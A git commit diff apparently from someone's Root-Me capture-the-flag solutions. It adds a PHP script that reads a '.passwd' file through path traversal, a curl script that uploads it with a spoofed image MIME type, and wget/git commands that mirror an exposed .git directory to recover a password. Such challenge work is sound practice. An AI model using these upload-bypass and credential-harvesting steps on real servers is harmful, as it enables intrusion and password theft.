Initialisation
This commit is contained in:
@ -0,0 +1,5 @@
|
||||
<?php
|
||||
|
||||
echo file_get_contents("../../../.passwd");
|
||||
|
||||
?>
|
@ -0,0 +1,5 @@
|
||||
<?php
|
||||
|
||||
echo file_get_contents("../../../.passwd");
|
||||
|
||||
?>
|
7
rootme/challenges/Web - Serveur/File upload - Type MIME/exploit.sh
Executable file
7
rootme/challenges/Web - Serveur/File upload - Type MIME/exploit.sh
Executable file
@ -0,0 +1,7 @@
|
||||
#!/bin/sh
|
||||
|
||||
BASEDIR=$(dirname "$0")
|
||||
|
||||
curl -X POST --cookie "PHPSESSID=6b8dc1527444202a1b16e9e806ca0ab6" \
|
||||
--form "file=@$BASEDIR/exploit.php;type=image/png" \
|
||||
'http://challenge01.root-me.org/web-serveur/ch21/?action=upload'
|
@ -0,0 +1,10 @@
|
||||
wget -m --no-parent 'http://challenge01.root-me.org/web-serveur/ch61/.git/'
|
||||
|
||||
cd challenge01.root-me.org/web-serveur/ch61
|
||||
|
||||
git checkout
|
||||
|
||||
git log
|
||||
=> commit a8673b295eca6a4fa820706d5f809f1a8b49fcba Changed password
|
||||
|
||||
git show a8673b295eca6a4fa820706d5f809f1a8b49fcba
|
Reference in New Issue
Block a user